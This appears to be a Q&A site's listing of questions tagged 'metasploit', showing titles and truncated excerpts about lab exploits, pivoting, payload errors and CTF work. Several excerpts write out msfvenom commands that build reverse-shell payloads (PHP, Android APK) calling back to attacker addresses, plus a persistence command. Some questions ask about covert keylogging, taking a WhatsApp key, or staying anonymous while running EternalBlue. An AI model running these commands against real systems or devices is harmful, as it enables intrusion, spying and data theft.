Questions tagged [metasploit]
Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine
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Metasploit - error msfvenom unloadable payload
I have been trying to generate a payload using msfvenom:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.2.15 LPORT=1234 -f raw > shell.php
I keep getting this error:
"error: unloadable ...
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Upgrade MSF ssh to meterpreter on a host behind a forwarded host
I'm training on a test network. I managed to snatch some ssh credentials and spawn a shell with msfconsole. Turns out a connection via ssh to 192.168.0.3:2222 forwards me to 192.168.0.4:22. So I have ...
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Arbitrary command execution on remote devices
Is it possible to send a TCP payload to an open port that executes a specific arbitrary command on the target device using Metasploit or any other program? For example with Windows 10 Server OS?
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Surreptitiously surveil a logged out laptop AD workstation's keyboard with temporary physical access?
I can think of multiple ways to surveil a logged out computer with temporary physical access. The first is installing a hardware keylogger which would enable one to get all the keystrokes from it; ...
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Does Routersploit install any malware or executables on my PC?
If I install Routersploit on my PC, would it install any malware or executable binaries as part of it to PC? Even though developers of Routersploit do not have any nefarious intention to add malware, ...
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metasploit smtp_enum: Testing different domain names
I'm testing my SMTP server using metasploit to see what information I can extract.
Currently I'm trying to enumerate SMTP users using smtp_enum module.
I've encountered a problem, the server ...
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How to double hop pivot?
I have a networking routing problem which I am unable to find a solution for:
I have a first machine, 192.168.51.103 (Windows), which is linked to subnet 172.16.51.0/24. To access this subnet, I first ...
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Is it possible to disable screenshare if someone's got meterpreter shell on your PC?
If hypothetically there was a meterpreter shell installed on your pc, are there security features or ways to harden a Windows laptop to prevent the hacker from using the screen share command to spy on ...
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Send powershell commands multiple users
My apologies if this is not the correct forum for this topic but needed to know, currently, what C2 platforms allow send commands to multiple clients at the same time.
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Why does metasploit SSL scanner only show highest version available?
I'm trying to scan my server (Apache2 on Debian), which is configured to support only TLS1.2 (and 1.3, presumably?). The config line is:
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
I scan it with:
msf6 &...
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How to connect OpenVAS to the Metasploit Framework [duplicate]
I want to connect OpenVAS to the Metasploit using plugin "openvas".
I used load openvas in msfconsole and openvas_connect with the necessary parameters (user, password, host, port and ssl-...
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Why does Hydra SMB attack not work while Metasploit does?
I'm learning about password attacks, and doing TryHackMe labs.
User: penny
Pass: leo1234
When using Hydra to find the password for the SMB user, I get no valid results:
I know the valid password is ...
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APK reverse shell using ngrok is not creating a session
I am using ngrok for port forwarding (./ngrok tcp 4242)
I created a payload using
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=16656 R> /var/www/html/package.apk
then ...
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Metasploit Meterpreter how to restore/create new session? [closed]
I created an apk for Android with Metasploit. Started with host ip and port and opened the "receiver terminal"
A lot of things worked well when executing the apk but after some time the ...
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Metasploit Python module: "Unknown datastore option: CMD."
In a Python Metasploit module that I'm developing, I am trying to use CMD as one of the options:
'options': {
'RHOST': {'type': 'address', 'description': 'Target address', 'required': True, '...
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Msfvenom reverse_tcp without LHOST
I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload.
msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f ...
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Filter or suppress runtime errors in metasploit scans
Is there a command or options so results from metasploit scanning sessions don't print any runtime errors...
With so many errors mostly due to connections being reset by peers, it is quite difficult ...
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Metasploit exploit linux/http/hikvision_cve_2021_36260_blind issue 'command shell session x is invalid and will be closed' [duplicate]
When I use the Hikvision CVE 2021 36260 exploit in Metasploit, it comes up with a strange, almost never-seen-before error Command shell session x is not valid and will be closed. There is no other ...
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Exploit failed: NoMethodError undefined method `smtp_send_recv' for #<Module:exploit/unix/smtp/exim4_string_format [closed]
I was trying to run an exploit using Metasploit's Exim tool. In the process I will have used the exim4_string_format module. I gave as information a RHOST, LHOSTS AND LPORT. To attack the reverse_perl ...
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How payloads provide backdoors when the victims are out of local network [duplicate]
I am a newbie in cyber security and trying to learn how payloads provide backdoors when the victims are out of the local network.
I know that metasploit is a good tool for making payloads, and using ...
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Get root permission on android for metasploit
Is there any way to get into the root file system in android with an already installed msfvenom apk in reverse_tcp (to get the whatsapp encryption key)
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What is the version of the scanned OS?
I've scanned a target with metasploit scanner/smb/smb_version and nmap -O.
smb_version: Windows 2016 Standard (build:14393)
Nmap: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
What is ...
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Converting a PE executable to a RAW format
I am on a red team exercise and want to try wePWNise to create a malware document with an executable that I have created and tested and know to pass the target's AV.
Does anybody know how to convert a ...
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Is it still possible to embed executables in PDF in 2022?
I have searched and found those posts how to embed exe file to pdf? and https://stackoverflow.com/questions/2941700/can-i-embed-an-exe-payload-in-a-pdf-doc-ppt-or-any-other-file-format, but they are ...
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Options to use for the Database Backend Command 'analyze' in msfconsole
I noticed the command analyze under Database Backend Commands in msfconsole while trying to analyze a subnet. analyze -h shows usage as such:
analyze [OPTIONS] [addr1 addr2 ..]
and that's it.
I have ...
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Import a exploit into msfconsole on ubuntu
I'm attending a offensive security courses and one of the subject is import a exploit from exploitdb into msfconsole. Commonly advice that it's required to create a exploit folder inside .msf4 and ...
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Windows XP SP3 2002 is not vulnerable to MS08-067
Why is my VM not vulnerable to MS08-067?
There are similar question on stack exchange, yes, but they fail to specify all relevant information and so non receive a meaningful, thoughtful nor thorough ...
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Metasploit module for NULL LDAP credentials
This article covers the solution for the LDAP challenges on a capture the flag.
I understand how the first example works, using the NULL value for the username and password to authenticate to the LDAP ...
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Can I import this exploit on metasploit or is better to use it in python? [duplicate]
I have tried to import this exploit:
https://www.exploit-db.com/exploits/50539
and then use it in Metasploit (I'm following a walkthrough), but Metasploit cannot load it.
Also I tried to use Python ...
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How do I catch metasploit session scripts error code in ruby?
I was able to start a session using metasploit framework (msf6) with an android but after a while being in the session, the meterpreter session closes. Luckily however after a few seconds, another ...
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How can I get a meterpreter session back to my attack box from subnet via pivot?
I have a lab I am dealing with and need help to get a meterpreter session on this win 7 system.
My buffer overflow works great back to the pivot box. However since my attack box is not reachable from ...
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Payload uploaded but error : "no session was created"
I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue.
I did:
nmap --> got port 8080
firefox -> 10....
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Configure the Metasploit SSH client to support `aes256-cbc`
I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error:
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,...
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How to find discrepancy between exploitable and unexploitable VM
For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (...
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Rex::BindFailed The address is already in use or unavailable
I'm trying to run the following script based on this blog.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
setg autorunscript multi_console_command -rc /root/Desktop/folder/...
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Run Metasploit module against several IPs
I'm trying to run a module against several IPs. It happens that usually we can use RHOSTS file:/file.txt but in this case, that option is not available.
I have tried this https://www.pentestpartners....
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Error with Metasploit when attempting to exploit netapi in Windows XP [duplicate]
I am a beginner in hacking. I have been trying to hack Windows XP using the netapi exploit in metasploit, but every time, in the end, I get an error:
Exploit failed [unreachable]: Rex::...
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RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)
I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
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is metasploit under whonix anonymous?
If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
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Meterpreter: How to invoke commands in a loop for each new connection
I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
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Metasploit opens Meterpreter, but the shell is unresponsive [closed]
I created a payload using
msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk
signed the apk, sent it to my phone, opened up msfconsole and ran
set payload android/...
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Meterpreter RPC error
How to solve this error?
meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/...
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How do I set auto check to override exploit in metasploit?
I was trying to run the bolt CMS exploit.
Bolt CMS 3.7.0 - Authenticated Remote Code Execution | php/webapps/48296.py (taken from searchsploit) and it wouldn't work because automatic check which ...
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How to read output of a Reflective DLL?
Reflective DLL Injection is one of the most interesting and best techniques to run custom code in memory.
I've been learning about it a lot, I've learned how to pass in inputs, But I can't figure out ...
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- Exploit aborted due to failure: not-found: Can't find base64 decode on target
So. I am having some issues at metasploit.
I am trying to exploit
exploit/multi/http/wp_crop_rce.
I am using Docker, in order to install wordpress version: 4.8.9.
PHP 7.2.12 (cli) (built: Nov 28 2018 ...
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PHP reverse shell is not responding back [closed]
I created a php reverse shell using msfvenom utility like:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php
And I created a listener using ...
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Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]
I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM.
https://github.com/rapid7/metasploit-framework/blob/master/...
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How to use msfvenom elf approach for metasploitable 2?
How to use msfvenom elf approach for metasploitable 2?
I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
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apache2 server online, but cannot access it on an Android device [closed]
I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
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A way to background meterpreter sessions from an autorunscript
I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command.
For example:
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